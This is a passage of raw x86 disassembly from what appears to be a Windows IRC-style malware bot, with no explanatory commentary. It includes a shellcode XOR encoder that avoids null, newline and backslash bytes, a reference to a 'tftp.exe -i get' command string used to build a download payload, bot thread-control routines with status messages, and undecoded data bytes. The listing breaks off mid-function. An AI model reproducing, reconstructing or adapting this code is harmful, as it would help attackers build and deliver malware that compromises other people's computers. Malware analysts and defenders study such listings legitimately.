		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4394C5
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB4	proc near		; CODE XREF: sub_416BCB+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABC
		push	eax
		call	sub_416C38
		add	esp, 0Ch
		retn
sub_416BB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCB	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB4
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BEB
		cmp	eax, 0FFFFh
		jbe	short loc_416BEF


loc_416BEB:				; CODE XREF: sub_416BCB+17j
		xor	eax, eax
		jmp	short loc_416C34
; ---------------------------------------------------------------------------


loc_416BEF:				; CODE XREF: sub_416BCB+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABC
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABC
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADC
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C53
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416C34:				; CODE XREF: sub_416BCB+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C38	proc near		; CODE XREF: sub_416BB4+Ep
					; sub_416C53+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C41
		inc	ecx


loc_416C41:				; CODE XREF: sub_416C38+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C53	proc near		; CODE XREF: sub_416BCB+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C72


loc_416C6F:				; CODE XREF: sub_416C53+8j
					; sub_416C53+Ej ...
		inc	[ebp+arg_C]


loc_416C72:				; CODE XREF: sub_416C53+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9A
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C93
		cmp	al, 0Dh
		jz	short loc_416C93
		cmp	al, 5Ch
		jz	short loc_416C93
		test	al, al
		jnz	short loc_416C9A


loc_416C93:				; CODE XREF: sub_416C53+32j
					; sub_416C53+36j ...
		add	[ebp+arg_C], 100h


loc_416C9A:				; CODE XREF: sub_416C53+28j
					; sub_416C53+3Ej
		push	[ebp+arg_C]
		call	sub_416C38
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB2
		cmp	eax, 0FFFFh
		jbe	short loc_416CB9


loc_416CB2:				; CODE XREF: sub_416C53+56j
		xor	eax, eax
		jmp	loc_416D57
; ---------------------------------------------------------------------------


loc_416CB9:				; CODE XREF: sub_416C53+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_489FE8
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CE9


loc_416CCD:				; CODE XREF: sub_416C53+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE0
		cmp	al, 0Ah
		jz	short loc_416CE0
		cmp	al, 0Dh
		jz	short loc_416CE0
		cmp	al, 5Ch
		jnz	short loc_416CE4


loc_416CE0:				; CODE XREF: sub_416C53+7Fj
					; sub_416C53+83j ...
		inc	bl
		xor	edx, edx


loc_416CE4:				; CODE XREF: sub_416C53+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCD


loc_416CE9:				; CODE XREF: sub_416C53+78j
		cmp	ecx, esi
		mov	byte_489FE8, bl
		ja	short loc_416D15
		push	15h
		push	offset loc_439424
		push	[ebp+arg_0]
		mov	byte_439431, cl
		mov	byte_439435, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D36
; ---------------------------------------------------------------------------


loc_416D15:				; CODE XREF: sub_416C53+9Ej
		push	17h
		push	offset loc_43940C
		push	[ebp+arg_0]
		mov	word_43941A, cx
		mov	byte_43941F, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h


loc_416D36:				; CODE XREF: sub_416C53+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D52
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_416D44:				; CODE XREF: sub_416C53+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D44


loc_416D52:				; CODE XREF: sub_416C53+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416D57:				; CODE XREF: sub_416C53+61j
		pop	esi
		leave
		retn
sub_416C53	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5A	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_444EC0


loc_416D62:				; CODE XREF: sub_416D5A+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D76
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_489C50
		jl	short loc_416D62
		jmp	short loc_416DC1
; ---------------------------------------------------------------------------


loc_416D76:				; CODE XREF: sub_416D5A+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_444EC0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4450C0[esi], eax
		and	dword_4450C4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4450C8[esi], 0
		mov	dword_4450CC[esi], eax
		and	byte_4450D8[esi], 0
		pop	esi


loc_416DC1:				; CODE XREF: sub_416D5A+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5A	endp

; ---------------------------------------------------------------------------
byte_416DC5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40EE72+5BFFo
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 1D9B4DE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 439500h, 0FF0C75FFh, 42E80875h
		dd 83FFFF68h, 0FF3314C4h, 444EC0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 7E8068FFh, 0E8500043h, 446h,	858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 0FAE80875h, 83FFFF67h, 0C68124C4h
		dd 234h, 50FE8147h, 7C00489Ch, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E95	proc near		; CODE XREF: sub_40EE72+4DD7p
					; sub_416F23+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1D
		cmp	esi, 1F4h
		jge	short loc_416F1D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_4450D4[esi]
		lea	edi, dword_4450D4[esi]
		nop
		call	near ptr 27D09C8h
		cmp	[edi], ebx
		jz	short loc_416ECD
		push	1
		pop	ebp


loc_416ECD:				; CODE XREF: sub_416E95+33j
		mov	[edi], ebx
		lea	edi, dword_4450C8[esi]
		mov	dword_4450C0[esi], ebx
		mov	dword_4450C4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EEE
		push	eax
		call	sub_415417
		pop	ecx


loc_416EEE:				; CODE XREF: sub_416E95+50j
		mov	[edi], ebx
		lea	edi, dword_4450CC[esi]
		mov	byte ptr dword_444EC0[esi], bl
		mov	byte_4450D8[esi], bl
		push	dword ptr [edi]
		call	dword_43F700
		lea	esi, dword_4450D0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43F700
		mov	[esi], ebx
		pop	edi


loc_416F1D:				; CODE XREF: sub_416E95+Dj
					; sub_416E95+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E95	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F23	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_444EC0


loc_416F2F:				; CODE XREF: sub_416F23+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F40
		push	edi
		call	sub_416E95
		test	eax, eax
		pop	ecx
		jz	short loc_416F40
		inc	ebx


loc_416F40:				; CODE XREF: sub_416F23+Fj
					; sub_416F23+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_489C50
		jl	short loc_416F2F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F55	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4450C4


loc_416F69:				; CODE XREF: sub_416F55+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8B
		test	edi, edi
		jle	short loc_416F7D
		cmp	[esi], edi
		jz	short loc_416F7D
		cmp	ebx, edi
		jnz	short loc_416F8B


loc_416F7D:				; CODE XREF: sub_416F55+1Ej
					; sub_416F55+22j
		push	ebx
		call	sub_416E95
		test	eax, eax
		pop	ecx
		jz	short loc_416F8B
		inc	[ebp+var_4]


loc_416F8B:				; CODE XREF: sub_416F55+1Aj
					; sub_416F55+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_489E54
		jl	short loc_416F69
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA2	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4450C0


loc_416FA9:				; CODE XREF: sub_416FA2+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB2
		inc	eax


loc_416FB2:				; CODE XREF: sub_416FA2+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_489E50
		jl	short loc_416FA9
		retn
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC1	proc near		; CODE XREF: sub_40EE72+5696p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4450C0


loc_416FCB:				; CODE XREF: sub_416FC1+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE4
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_489E50
		jl	short loc_416FCB
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416FE4:				; CODE XREF: sub_416FC1+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FE8	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417001
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx


loc_417001:				; CODE XREF: sub_416FE8+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F55
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_417047
; ---------------------------------------------------------------------------


loc_41702D:				; CODE XREF: sub_416FE8+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172AE
		add	esp, 10h


loc_417047:				; CODE XREF: sub_416FE8+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417067
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_417067:				; CODE XREF: sub_416FE8+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417076	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4450D4[eax], ecx
		mov	dword_4450C0[eax], ecx
		mov	dword_4450C4[eax], ecx
		mov	dword_4450C8[eax], ecx
		mov	dword_4450CC[eax], ecx
		mov	dword_4450D0[eax], ecx
		mov	byte ptr dword_444EC0[eax], cl
		mov	byte_4450D8[eax], cl
		retn
sub_417076	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B3	proc near		; CODE XREF: sub_40EE72+6187p
					; sub_4171E1+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4170BD:				; CODE XREF: sub_4170B3+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711D
		cmp	eax, 1
		jnz	short loc_41711D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711D
		cmp	cl, 2Ah
		jz	short loc_417104
		cmp	cl, 3Fh
		jz	short loc_4170E7
		cmp	cl, 5Bh
		jz	short loc_4170EC
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4170E7:				; CODE XREF: sub_4170B3+26j
		inc	[ebp+arg_4]
		jmp	short loc_417117
; ---------------------------------------------------------------------------


loc_4170EC:				; CODE XREF: sub_4170B3+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417149
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417117
; ---------------------------------------------------------------------------


loc_417104:				; CODE XREF: sub_4170B3+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E1
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417117:				; CODE XREF: sub_4170B3+37j
					; sub_4170B3+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BD
; ---------------------------------------------------------------------------


loc_41711D:				; CODE XREF: sub_4170B3+Ej
					; sub_4170B3+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712D
		cmp	eax, 1
		jnz	short loc_417144
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711D
; ---------------------------------------------------------------------------


loc_41712D:				; CODE XREF: sub_4170B3+6Dj
		cmp	eax, 1
		jnz	short loc_417144
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417144
		cmp	byte ptr [esi],	0
		jnz	short loc_417144
		push	1
		pop	eax
		jmp	short loc_417146
; ---------------------------------------------------------------------------


loc_417144:				; CODE XREF: sub_4170B3+72j
					; sub_4170B3+7Dj ...
		xor	eax, eax


loc_417146:				; CODE XREF: sub_4170B3+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417149	proc near		; CODE XREF: sub_4170B3+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716A
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41716A:				; CODE XREF: sub_417149+19j
		push	ebx
		push	esi


loc_41716C:				; CODE XREF: sub_417149+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717A
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C6


loc_41717A:				; CODE XREF: sub_417149+2Aj
		test	edi, edi
		jnz	short loc_4171BB
		cmp	bl, 2Dh
		jnz	short loc_4171AF
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171AF
		cmp	al, 5Dh
		jz	short loc_4171AF
		cmp	[ebp+var_4], edi
		jnz	short loc_4171AF
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BB
		cmp	bl, al
		jg	short loc_4171BB
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BB
; ---------------------------------------------------------------------------


loc_4171AF:				; CODE XREF: sub_417149+38j
					; sub_417149+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BB
		push	1
		pop	edi


loc_4171BB:				; CODE XREF: sub_417149+33j
					; sub_417149+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716C
; ---------------------------------------------------------------------------


loc_4171C6:				; CODE XREF: sub_417149+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D3
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4171D3:				; CODE XREF: sub_417149+82j
		cmp	edi, eax
		jnz	short loc_4171DC
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4171DC:				; CODE XREF: sub_417149+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_417149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E1	proc near		; CODE XREF: sub_4170B3+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4171FD:				; CODE XREF: sub_4171E1+3Aj
		cmp	[eax], bl
		jz	short loc_41721D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417212
		cmp	cl, 2Ah
		jnz	short loc_41721D
		cmp	cl, 3Fh
		jnz	short loc_417215


loc_417212:				; CODE XREF: sub_4171E1+25j
		inc	eax
		mov	[edi], eax


loc_417215:				; CODE XREF: sub_4171E1+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FD
; ---------------------------------------------------------------------------


loc_41721D:				; CODE XREF: sub_4171E1+1Ej
					; sub_4171E1+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_417228
		inc	dword ptr [esi]
		jmp	short loc_41721D
; ---------------------------------------------------------------------------


loc_417228:				; CODE XREF: sub_4171E1+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_417249
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723A
		xor	eax, eax
		jmp	short loc_4172A9
; ---------------------------------------------------------------------------


loc_41723A:				; CODE XREF: sub_4171E1+53j
		cmp	cl, bl
		jnz	short loc_417249
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_417249
		push	1
		pop	eax
		jmp	short loc_4172A9
; ---------------------------------------------------------------------------


loc_417249:				; CODE XREF: sub_4171E1+4Dj
					; sub_4171E1+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417293


loc_417257:				; CODE XREF: sub_4171E1+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41725B:				; CODE XREF: sub_4171E1+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417273
		cmp	cl, 5Bh
		jz	short loc_417273
		cmp	dl, bl
		jz	short loc_417273
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725B
; ---------------------------------------------------------------------------


loc_417273:				; CODE XREF: sub_4171E1+82j
					; sub_4171E1+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728A
		push	eax
		push	dword ptr [esi]
		call	sub_4170B3
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41728F
; ---------------------------------------------------------------------------


loc_41728A:				; CODE XREF: sub_4171E1+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41728F:				; CODE XREF: sub_4171E1+A7j
		cmp	eax, ebx
		jnz	short loc_417257


loc_417293:				; CODE XREF: sub_4171E1+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A6
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A6
		mov	[ebp+var_4], 1


loc_4172A6:				; CODE XREF: sub_4171E1+B6j
					; sub_4171E1+BCj
		mov	eax, [ebp+var_4]


loc_4172A9:				; CODE XREF: sub_4171E1+57j
					; sub_4171E1+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172AE	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172EE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FB
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_4172AE+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_4172FB:				; CODE XREF: sub_4172AE+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417300	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_439550, eax
		retn
sub_417300	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730A	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_439550
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_439550, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx


loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353


loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D


loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377


loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528


loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------


loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------


loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
